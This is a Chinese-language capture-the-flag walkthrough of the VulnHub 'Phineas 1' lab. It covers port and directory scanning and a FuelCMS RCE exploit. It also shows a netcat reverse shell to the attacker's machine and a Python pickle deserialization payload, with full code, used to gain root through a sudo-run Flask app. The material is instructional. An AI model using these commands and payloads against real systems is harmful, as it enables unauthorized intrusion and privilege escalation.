靶场:https://www.vulnhub.com/entry/phineas-1,674/
安装:下载之后导入到vmware,网络模式选择nat
攻击机:kali
一、信息搜集
arp-scan -l主机ip探测
192.168.203.134是新增加的ip,也就是靶机ip
nmap扫描
nmap --min-rate 10000 -p- 192.168.203.134 --端口扫描
nmap -sT -A -sV -O -sC -p 22,80,111,3306 192.168.203.134 -oA ./nmap/detail --端口详细信息探测
浏览器访问80端口,是apache的默认页面
基于根路径进行目录扫描
gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/en_dirctories_all.txt -u http://192.168.203.134/ -t 5
就扫出来一个/structure,访问看看
看了下源码也没什么有用的东西,还得继续爆破
gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/en_dirctories_all.txt -u http://192.168.203.134/structure/ -t 5
访问下robots.txt
访问下这个路径,会302跳转到/structure/fuel/start响应404。按理说robots.txt中的目录应该不会有404的情况,那么问题很有可能还是出在访问路径上。
先放下这个去看看/assets目录
挨个看了一遍没发现有用的东西,就一个index.html无法访问。还是接着去看路径吧......
之前的目录爆破都是基于路径的,试下敏感文件爆破
gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/fileName10000.txt -u http://192.168.203.134/structure/ -t 5
多了index.php和README.md两个文件,README.md不用多说通常都是描述文件,看一下
通过阅读可以得知两个主要信息:
1.fuel是一个cms
2.网站使用fuel应该是小于1.4的版本
那么利用思路就有了,从网上搜一下cms相关的漏洞,最好是rce
直接google搜fuelcms就能看到
可以看到漏洞可利用版本Version: <= 1.4.1
二、RCE漏洞利用
将exp保存为py文件,分析exp代码可以知道漏洞利用需要一个url,结合上面敏感文件爆破时得到的index.php,就可以拿到一个/structure/index.php,访问这个路径和直接访问/structure/页面是一样的。
执行exp
python exp.py -u http://192.168.203.134/structure/index.php
没毛病,那就直接反弹吧
GG,urlencode试下
nc%20192.168.203.135%208888%20-e%20%2Fbin%2Fsh
还是不行,换一个反弹端口尝试,将8888改成443
成功,不需要urlencode
想用python美化下交互,但是失败了不知道什么原因。凑合用吧.....
进入到fuel目录中翻下敏感文件,最终在/var/www/html/structure/fuel/application/config/database.php中找到了数据库的配置信息
尝试使用ssh登录anna账户
三、反序列化提权
进入用户目录/home/anna
Desktop目录中有user.txt
执行sudo -l看看有没有可利用的
发现用户目录下的web目录有一个flask的应用,而且有root权限,那十有八九提权点就在这里
看下源码
很简单,/heaven接收一个awesome参数的post请求,再使用pickle处理参数。
用的应该是flask的模块端口5000,查看下5000端口是否在用,之前用nmap扫描并没有扫描到
netstat -anp|grep 5000
端口在用,但是扫描不到,那么可以推测从外部无法访问,需要转发到攻击机或者直接在靶机请求。
通过上面的源码可以到应用比较简单,就不转发了,直接在靶机上curl一下
服务可以访问,那剩下就是怎么利用的问题了
构造请求参数,使用python3版本,先确定下权限
import pickle
import os
import base64class genpoc():
def __reduce__(self):
s = """whoami > 2.txt"""
return os.system, (s,)
e = genpoc()
poc = pickle.dumps(e)
print(poc)
poc_base64 = base64.urlsafe_b64encode(poc)
print(poc_base64)
下面的就是经过序列化并base64编码后的请求参数,构造curl请求
curl http://127.0.0.1:5000/heaven -d "awesome=gASVKQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA53aG9hbWkgPiAyLnR4dJSFlFKULg=="
在靶机上执行,会在当前目录下看到2.txt
成功了,接下来就是修改代码,把s改成反弹shell的命令,重新生成payload再发送请求
python3 -c "import pty;pty.spawn('/bin/bash')"美化一下(之前不能执行应该是权限问题)
四、总结
1.靶场本身不难,但是目录爆破如果字典不行就很难突破,平时还要留心整理字典
2.反弹shell最好使用通常不会被禁的端口,如80,443
参考文章
https://xz.aliyun.com/news/7032
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)